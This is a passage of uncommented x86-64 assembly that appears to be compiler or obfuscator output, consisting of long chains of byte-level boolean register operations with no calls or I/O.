and eax, 0xc67485f8
or eax, ecx
mov ecx, eax
xor ecx, 0x23081a0
xor eax, 0x31801006
and eax, 0xf5c4145e
and ecx, 0xa3beba1
or ecx, eax
xor ecx, 0xf5c4145e
setne r14b
sete bpl
mov eax, dword [rsp + 0x34]
cmp eax, 9
setg r8b
cmp eax, 0xa
setl al
mov edx, eax
mov r10d, eax
mov byte [rsp + 0x44], al
xor dl, r8b
mov ebx, edx
xor bl, 1
mov byte [rsp + 0x38], bl
mov eax, edx
and al, bl
mov ecx, edx
mov r9d, edx
mov byte [rsp + 0x34], dl
xor cl, al
xor al, 1
or al, bl
xor al, 1
or al, cl
and r9b, r10b
mov ecx, eax
xor cl, 1
mov ebx, r9d
xor bl, 1
mov edx, ebx
and dl, r9b
mov r10d, ebx
xor r10b, dl
xor dl, 1
or dl, r9b
xor dl, 1
or dl, r10b
xor dl, 1
or bl, r9b
xor bl, 1
mov r9d, edx
and r9b, bl
xor bl, dl
or bl, r9b
mov edx, ecx
or dl, al
xor dl, 1
mov r9d, eax
and r9b, dl
xor dl, al
or dl, r9b
xor dl, 1
mov eax, ebx
xor al, dl
or dl, bl
xor al, 1
and al, bl
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, r8d
or dl, cl
xor cl, r8b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov r8d, eax
xor r8b, 1
mov edx, eax
and dl, r8b
mov ebx, edx
xor bl, 1
xor dl, al
or bl, r8b
xor bl, 1
or bl, dl
mov edx, ebx
and bl, cl
xor r8b, cl
xor cl, 1
xor dl, 1
and dl, cl
or bl, dl
or cl, al
xor cl, 1
or cl, r8b
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
mov eax, edx
and al, bl
xor bl, dl
or bl, al
or dl, cl
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
xor cl, bl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, eax
or dl, cl
mov ebx, edx
xor bl, 1
and cl, al
and bl, dl
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
xor bl, cl
xor bl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov r10d, edx
xor r10b, 1
mov eax, r10d
and al, dl
mov ecx, eax
xor cl, 1
mov r9d, r10d
xor r9b, al
or cl, dl
xor cl, 1
or cl, r9b
mov r8d, ecx
xor r8b, 1
mov edx, ecx
and dl, r8b
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ebx, edx
xor bl, 1
or r8b, cl
xor dl, r8b
xor dl, 1
or r8b, bl
xor r8b, 1
or r8b, dl
and al, r10b
or al, r9b
mov r9d, r8d
xor r9b, 1
mov r11d, r8d
xor r11b, r9b
mov r10d, eax
xor r10b, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov eax, r10d
xor al, 1
and r10b, al
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov edi, r10d
xor dil, 1
mov esi, r9d
and r10b, r9b
mov eax, r9d
or al, r8b
xor al, 1
and r11b, r8b
xor r11b, al
mov ebx, r11d
xor bl, 1
and bl, al
mov eax, ebx
and al, r11b
xor bl, r11b
or bl, al
mov r11d, ebx
or r11b, r9b
xor bl, r9b
and r9b, dil
xor sil, dil
or sil, r9b
mov eax, esi
xor al, 1
and dil, r8b
or dil, r10b
mov r8d, edi
xor r8b, 1
and sil, al
mov r9d, esi
and r9b, al
xor sil, al
or sil, r9b
mov ecx, esi
xor cl, 1
and cl, dil
and sil, r8b
or sil, cl
mov ecx, eax
xor cl, dil
or dil, al
xor dil, 1
or dil, cl
xor dil, 1
mov eax, esi
and al, dil
xor dil, sil
or dil, al
mov edx, edi
xor dl, 1
mov eax, edi
or al, dl
mov r8d, eax
xor r8b, 1
mov ecx, edx
xor cl, al
and cl, dl
and r8b, dil
and al, dl
or al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor r11b, 1
mov ecx, r11d
and cl, bl
xor bl, r11b
or bl, cl
mov ecx, ebx
xor cl, 1
and bl, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
or dl, bl
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
xor bl, 1
mov r8d, eax
xor r8b, 1
mov ecx, r8d
and cl, al
mov r9d, r8d
and r9b, cl
xor cl, r8b
xor r8b, dl
or al, bl
xor al, 1
or al, r8b
and bl, dl
or cl, r9b
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
xor bl, cl
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov r13d, ecx
mov byte [rsp + 0x40], bpl
mov ecx, ebp
xor cl, r14b
mov eax, ecx
mov r8d, ecx
and al, bpl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
mov ebx, edx
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
or dl, al
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov ebx, r8d
mov r10d, r8d
mov byte [rsp + 0x58], r8b
xor bl, 1
xor cl, bl
mov r8d, ecx
xor r8b, 1
mov eax, r14d
mov byte [rsp + 0x5c], r14b
mov r9d, r14d
or r9b, bl
xor al, bl
mov edi, ebx
mov byte [rsp + 0x50], bl
mov ebx, r9d
xor bl, al
xor al, 1
xor bl, 1
or al, r9b
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and dl, r8b
or r8b, al
and al, cl
or al, dl
xor al, 1
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
or dl, cl
xor al, dl
or dl, bl
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
or cl, dl
mov edx, ecx
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
xor dl, 1
and dl, al
or cl, dl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
or cl, al
xor cl, 1
xor al, cl
and cl, al
mov edx, ecx
xor dl, al
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov r9d, ecx
xor r9b, 1
or dil, r10b
mov ebp, edi
xor bpl, 1
mov esi, r9d
and sil, cl
mov eax, esi
and al, cl
xor sil, cl
or sil, al
mov ebx, edi
and bl, bpl
mov eax, ebp
or al, dil
xor dil, bl
xor bl, 1
mov r8d, ebp
or r8b, bl
xor r8b, 1
or dil, r8b
mov r10d, edi
xor r10b, 1
mov edx, edi
xor dl, al
and dl, dil
and dil, al
xor al, 1
and al, r10b
or dil, al
xor dl, 1
xor dil, 1
mov eax, edx
xor al, dil
or dil, dl
xor dil, 1
or dil, al
mov r15d, esi
xor r15b, 1
mov r10d, r15d
and r10b, sil
mov eax, r15d
xor al, r10b
xor r10b, 1
or r10b, sil
xor r10b, 1
or r10b, al
mov eax, r10d
and al, r15b
xor r10b, r15b
or r10b, al
mov eax, r9d
xor al, cl
or r9b, cl
xor r9b, 1
or r9b, al
mov r14d, r10d
xor r14b, 1
xor bl, bpl
or bl, r8b
mov eax, ebx
xor al, 1
and bl, al
xor bl, 1
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov ebp, ebx
xor bpl, 1
and bpl, bl
xor bpl, 1
mov eax, ebx
xor al, bpl
or bpl, bl
xor bpl, 1
or bpl, al
mov ecx, r10d
or cl, r14b
mov eax, r14d
and al, r10b
mov ebx, eax
and bl, r14b
xor al, r14b
or al, bl
mov ebx, ecx
xor bl, 1
mov r8d, eax
xor al, 1
and al, bl
and r8b, cl
or al, r8b
mov ebx, ecx
and bl, r10b
xor cl, r10b
or cl, bl
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
mov r8d, r9d
xor r8b, 1
or cl, bl
mov edx, r8d
or dl, r9b
mov eax, edx
xor al, 1
mov ebx, r8d
xor bl, r9b
and bl, r8b
mov r14d, edx
and r14b, bl
xor bl, 1
and al, bl
or al, r14b
mov r14d, edx
and r14b, bl
xor bl, dl
or bl, r14b
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, 1
and al, bl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
and al, cl
or al, dl
xor r8b, r10b
and r8b, r10b
xor r9b, r10b
mov ecx, r8d
and cl, r9b
xor r9b, r8b
or r9b, cl
mov ecx, r9d
xor cl, 1
mov r11d, ecx
and r11b, r9b
xor cl, r11b
xor r11b, 1
or r11b, r9b
xor r11b, 1
or r11b, cl
mov r9d, r11d
xor r9b, 1
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov ecx, r9d
and cl, r11b
mov ebx, r9d
and bl, cl
xor cl, r9b
or cl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and cl, dl
mov r14d, edi
xor r14b, 1
or cl, bl
mov edx, eax
xor dl, r11b
or r11b, al
mov eax, edi
xor al, r14b
xor al, 1
or al, r14b
xor r11b, 1
or r11b, dl
xor r11b, 1
mov edx, ecx
and dl, r11b
xor r11b, cl
mov r9d, eax
xor r9b, 1
or r11b, dl
mov edx, eax
and dl, r9b
xor dl, 1
mov ecx, r9d
xor cl, dl
or dl, r9b
xor dl, 1
or dl, cl
mov ecx, ebp
xor cl, 1
mov r12d, ecx
and r12b, bpl
xor r12b, 1
mov ebx, ebp
xor bl, r12b
or r12b, bpl
xor r12b, 1
or r12b, bl
or r9b, al
or cl, bpl
mov r8d, r9d
xor r8b, 1
mov eax, r9d
and al, r8b
mov r10d, r9d
and r10b, al
xor al, r9b
or al, r10b
mov ebp, r12d
xor bpl, 1
mov r10d, eax
and r10b, dl
mov r9d, edx
xor r9b, r8b
or r8b, dl
mov ebx, edx
xor bl, bpl
and bl, dl
xor dl, 1
xor al, 1
and al, dl
or al, r10b
xor r8b, 1
or r8b, r9b
xor al, 1
mov r9d, eax
xor r9b, r8b
or al, r8b
xor al, 1
or al, r9b
mov r8d, ebp
or r8b, cl
mov r9d, ecx
and cl, r12b
xor r9b, 1
and r9b, bpl
or cl, r9b
xor cl, 1
mov r9d, r8d
xor r9b, cl
or cl, r8b
xor cl, 1
or cl, r9b
xor cl, 1
mov r8d, eax
xor r8b, cl
or cl, al
xor r8b, 1
and r8b, al
xor r8b, 1
mov eax, ecx
xor al, r8b
or r8b, cl
xor r8b, 1
or r8b, al
xor bpl, dl
mov eax, ebx
and al, bpl
xor bpl, bl
or bpl, al
mov eax, ebp
xor al, 1
and bpl, al
mov ecx, eax
and cl, bpl
xor bpl, al
or bpl, cl
mov ecx, ebp
xor cl, 1
mov eax, r8d
xor al, 1
and bpl, al
or al, cl
xor al, 1
and cl, r8b
or cl, bpl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor cl, r11b
xor r11b, 1
xor al, 1
or al, dl
xor al, r11b
xor al, 1
xor bl, cl
and bl, cl
or al, r11b
mov r8d, eax
xor r8b, 1
mov ecx, eax
and cl, r8b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
and al, bl
mov edx, ebx
xor dl, r8b
or r8b, bl
xor bl, 1
xor cl, 1
and cl, bl
or cl, al
xor r8b, 1
or r8b, dl
xor r8b, 1
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov eax, r15d
xor al, sil
and al, r15b
mov ecx, r14d
or cl, dil
mov r9d, ecx
xor r9b, 1
and r9b, dil
mov r10d, r15d
xor r10b, dil
mov ebx, edi
xor dil, sil
or sil, r15b
xor sil, al
and al, sil
xor al, 1
mov edx, eax
xor dl, sil
or al, sil
xor al, 1
or al, dl
or bl, cl
and cl, r14b
or cl, r9b
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
and dl, al
xor al, 1
xor cl, 1
and cl, al
or cl, dl
or r14b, r15b
xor r14b, 1
or r14b, dil
mov eax, r10d
xor al, r14b
or r14b, r10b
xor r14b, 1
or r14b, al
mov eax, r14d
xor al, 1
and al, r14b
xor al, 1
mov edx, r14d
xor dl, al
or al, r14b
xor al, 1
or al, dl
xor al, cl
xor al, 1
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
or al, cl
mov r9d, eax
xor r9b, 1
mov ebx, r9d
and bl, al
mov ecx, ebx
xor cl, 1
xor bl, r9b
or cl, al
xor cl, 1
or cl, bl
xor cl, dl
xor dl, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, r8d
xor al, 1
mov ebx, edx
and bl, al
or dl, r8b
and r8b, cl
or r8b, bl
xor r8b, 1
or r8b, al
mov ebx, r8d
xor bl, 1
xor dl, 1
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
and bl, r8b
mov ecx, r8d
and cl, bl
xor bl, r8b
or bl, cl
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
and cl, al
or bl, cl
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ecx, ebx
xor cl, al
xor bl, 1
xor cl, 1
or bl, al
xor bl, 1
or bl, cl
mov esi, ebx
mov r11d, r13d
xor r11b, 1
mov eax, r13d
and al, r11b
mov ecx, r11d
and cl, al
mov edx, r11d
xor dl, al
mov byte [rsp + 0x54], dl
mov r9d, eax
mov byte [rsp + 0x4e], al
or cl, dl
mov r14d, ecx
xor r14b, 1
mov r8d, r13d
or r8b, r11b
mov ebp, r8d
xor bpl, 1
mov eax, r8d
and al, cl
mov edx, r14d
and dl, bpl
or dl, al
mov ebx, r14d
xor bl, r8b
or r14b, cl
xor r14b, 1
mov eax, ecx
and al, r14b
xor r14b, cl
or cl, bpl
xor cl, 1
or cl, bl
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
or cl, dl
or r14b, al
mov eax, ecx
xor al, 1
mov edx, eax
xor dl, r14b
mov ebx, edx
xor bl, cl
and bl, dl
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, r14d
xor al, 1
and r14b, al
xor r14b, 1
mov ecx, eax
xor cl, r14b
or r14b, al
xor r14b, 1
or r14b, cl
xor r14b, dl
mov eax, r14d
xor al, 1
xor r14b, bl
xor bl, 1
or bl, al
xor bl, 1
mov eax, ebx
and al, r14b
xor r14b, bl
or r14b, al
mov eax, r8d
and al, bpl
mov ecx, r8d
xor cl, al
xor al, 1
or al, bpl
xor al, 1
or al, cl
xor al, r13b
mov ecx, eax
xor cl, 1
mov edx, r13d
and dl, r8b
xor r8b, r13b
or r8b, dl
xor al, r8b
xor al, 1
or r8b, cl
xor r8b, 1
or r8b, al
mov ecx, r8d
xor cl, 1
mov eax, ecx
and al, r8b
xor cl, r8b
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov r8d, edx
mov ebx, edx
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov ecx, r9d
xor cl, 1
mov byte [rsp + 0x4f], cl
and r8b, r11b
mov byte [rsp + 0x32], r8b
xor bl, r11b
mov byte [rsp + 0x3f], bl
xor dl, r11b
mov byte [rsp + 0x33], dl
mov eax, r11d
xor r11b, cl
or al, cl
xor al, 1
or al, r11b
mov ecx, r14d
xor cl, 1
mov edx, r14d
and dl, al
xor al, 1
and al, cl
or al, dl
mov edx, eax
xor dl, cl
and dl, al
mov byte [rsp + 0x4d], r13b
mov eax, r13d
xor al, cl
xor al, 1
or al, r13b
mov ebx, eax
xor bl, 1
mov r13d, edx
xor r13b, 1
and dl, al
or al, r13b
and r13b, bl
or r13b, dl
xor al, 1
mov edx, eax
and dl, r13b
xor r13b, al
or r13b, dl
and cl, r13b
xor r13b, 1
mov eax, r13d
xor al, r14b
and al, r13b
and r13b, r14b
or r13b, cl
mov ecx, eax
and cl, r13b
xor r13b, al
or r13b, cl
mov eax, r13d
xor al, 1
and r13b, al
mov ecx, eax
and cl, r13b
xor r13b, al
or r13b, cl
movzx ecx, byte [rsp + 0x44]
mov eax, ecx
movzx edx, byte [rsp + 0x38]
or al, dl
xor al, 1
mov ebx, ecx
xor bl, dl
or al, bl
and dl, bl
and bl, cl
mov r8d, ecx
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov edx, eax
xor dl, 1
mov ecx, ebx
xor cl, 1
and bl, al
or al, cl
and cl, dl
or cl, bl
xor al, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
or dl, al
xor cl, dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov ecx, r8d
movzx ebx, byte [rsp + 0x34]
xor bl, r8b
and cl, bl
mov eax, ecx
xor al, bl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
or al, cl
mov ebx, ecx
or bl, al
xor al, cl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, 1
mov eax, edx
xor al, 1
and dl, al
mov r8d, eax
and r8b, dl
xor dl, al
mov ebx, eax
and al, cl
xor bl, cl
or bl, al
or dl, r8b
xor dl, cl
mov eax, ebx
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ebx, eax
or bl, cl
xor bl, 1
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
mov r9d, ebx
xor r9b, 1
or r9b, bl
mov r8d, r9d
xor r8b, 1
xor cl, al
xor al, cl
xor al, 1
and al, cl
mov edx, eax
xor dl, 1
mov ebx, r8d
xor bl, dl
xor bl, 1
or bl, r9b
and al, r9b
and dl, r8b
or dl, al
mov ecx, edx
and dl, bl
xor bl, 1
xor cl, 1
mov eax, ebx
xor al, cl
and al, bl
and cl, bl
or cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ecx
or dl, bl
mov eax, ecx
and al, bl
mov r8d, ecx
xor r8b, al
xor al, 1
or al, bl
xor al, 1
or al, r8b
xor al, dl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
mov r8d, ecx
xor r8b, 1
and dl, al
mov eax, r8d
and al, cl
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ebx, edx
xor bl, 1
mov r9d, eax
xor r9b, 1
and r9b, dl
and al, bl
or al, r9b
xor bl, cl
or dl, r8b
xor dl, 1
or dl, bl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r8d, edx
xor r8b, 1
mov ecx, edx
and cl, r8b
xor cl, 1
mov ebx, r8d
xor bl, cl
or cl, r8b
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov r9d, ebx
or r9b, cl
mov eax, r9d
xor al, 1
and r8b, r9b
or r9b, dl
and al, dl
or al, r8b
mov edx, r9d
xor dl, al
xor al, 1
or al, r9b
xor dl, 1
xor al, 1
or al, dl
mov edx, ebx
and dl, cl
xor bl, cl
mov ecx, eax
xor cl, 1
or bl, dl
mov r10d, ecx
and r10b, al
mov edx, ecx
xor dl, r10b
xor r10b, 1
or r10b, al
xor r10b, 1
or r10b, dl
mov eax, ebx
xor al, 1
mov edx, r10d
and r10b, al
xor dl, 1
and dl, bl
or r10b, dl
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, r10d
xor al, bl
xor r10b, 1
xor al, 1
or r10b, bl
xor r10b, 1
or r10b, al
mov ecx, esi
xor cl, 1
mov byte [rsp + 0x62], cl
mov ebx, esi
and bl, cl
mov eax, ecx
and al, bl
xor cl, bl
mov r8d, ebx
mov byte [rsp + 0x4c], bl
or al, cl
mov edx, eax
xor dl, 1
or dl, al
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, r8d
xor al, 1
mov byte [rsp + 0x61], sil
mov r9d, esi
xor r9b, al
or al, sil
xor al, 1
or r9b, al
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, al
mov r8d, ecx
and r8b, bl
xor bl, cl
or bl, r8b
or cl, al
xor bl, 1
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, edx
xor al, 1
mov ebx, ecx
xor bl, 1
and bl, dl
and al, cl
or al, bl
xor al, 1
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
or cl, al
xor dl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
or cl, al
xor cl, dl
mov eax, ecx
xor al, 1
and cl, dl
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov r8d, r9d
xor r9b, 1
mov eax, r8d
or al, r9b
mov ebx, r9d
mov byte [rsp + 0x4a], r9b
xor bl, al
or al, r8b
mov r11d, r8d
mov byte [rsp + 0x4b], r8b
xor al, 1
xor bl, 1
mov r8d, eax
and r8b, bl
xor bl, al
or bl, r8b
mov eax, ebx
xor al, 1
or al, cl
xor cl, 1
or cl, bl
xor al, 1
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, edx
xor al, r11b
and al, dl
xor dl, r9b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
xor cl, 1
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
mov edx, eax
and dl, r8b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov ecx, eax
or cl, r8b
xor dl, cl
mov ebx, ecx
xor cl, al
xor bl, 1
or bl, r8b
xor bl, 1
or bl, cl
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov byte [rsp + 0x44], cl
movzx eax, byte [rsp + 0x58]
movzx edx, byte [rsp + 0x5c]
and dl, al
movzx ecx, byte [rsp + 0x40]
movzx ebx, byte [rsp + 0x50]
and bl, cl
or bl, dl
xor bl, 1
or bl, al
xor al, cl
mov r8d, ebx
xor r8b, 1
mov ecx, r8d
and cl, bl
mov edx, ecx
xor cl, r8b
xor dl, 1
or dl, bl
mov r8d, ebx
xor dl, 1
or dl, cl
mov ebx, eax
xor bl, 1
mov ecx, edx
xor cl, 1
and cl, bl
and dl, al
or dl, cl
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov edx, eax
xor dl, bl
xor bl, cl
xor cl, 1
or cl, al
mov r8d, eax
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
or al, cl
and dl, r8b
xor dl, 1
mov ecx, eax
or cl, dl
xor dl, al
xor cl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
mov ebx, edx
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
mov edi, edx
xor dil, al
xor dil, 1
or dil, dl
or al, dl
xor cl, 1
mov edx, ecx
or dl, al
xor al, cl
xor dl, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r8d, eax
xor r8b, 1
mov ebp, eax
or bpl, r8b
mov r9d, ebp
xor r9b, 1
mov ecx, r9d
and cl, bpl
mov esi, ecx
and sil, r9b
xor cl, r9b
or cl, sil
mov r9d, edi
xor r9b, 1
mov edx, edi
or dl, r9b
mov ebx, edx
xor bl, 1
mov esi, ecx
and cl, r8b
mov r14d, ebp
and r14b, r8b
xor bpl, r8b
and r8b, r9b
and r9b, dl
and bl, dil
or bl, r9b
or dl, dil
xor dl, 1
mov r9d, edx
and r9b, bl
xor bl, dl
or bl, r9b
xor sil, 1
and sil, al
or cl, sil
or bpl, r14b
xor cl, 1
mov edx, ecx
xor dl, bpl
or cl, bpl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor dl, 1
and dl, bl
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, cl
xor bl, 1
xor dl, 1
or dl, bl
mov ecx, edi
xor cl, al
and cl, dil
and al, dil
or al, r8b
mov ebx, ecx
xor bl, 1
xor cl, al
xor al, 1
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
xor cl, 1
or cl, bl
xor al, 1
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
mov edx, r9d
or dl, cl
mov ebx, ecx
or bl, dl
mov r8d, r9d
and r8b, dl
xor dl, 1
xor r9b, cl
or r9b, dl
and dl, cl
or dl, r8b
mov ecx, ebx
xor cl, dl
xor dl, 1
or dl, bl
xor cl, 1
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, ebx
or cl, dl
xor bl, cl
or cl, dl
xor bl, 1
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov eax, r9d
xor al, 1
mov ebx, r9d
and bl, dl
or r9b, cl
and cl, al
or cl, bl
mov ebx, ecx
xor bl, dl
and bl, cl
or al, dl
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov r8d, ecx
xor r8b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r8b
mov eax, edx
and al, bl
xor bl, 1
xor dl, 1
and dl, bl
or dl, al
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
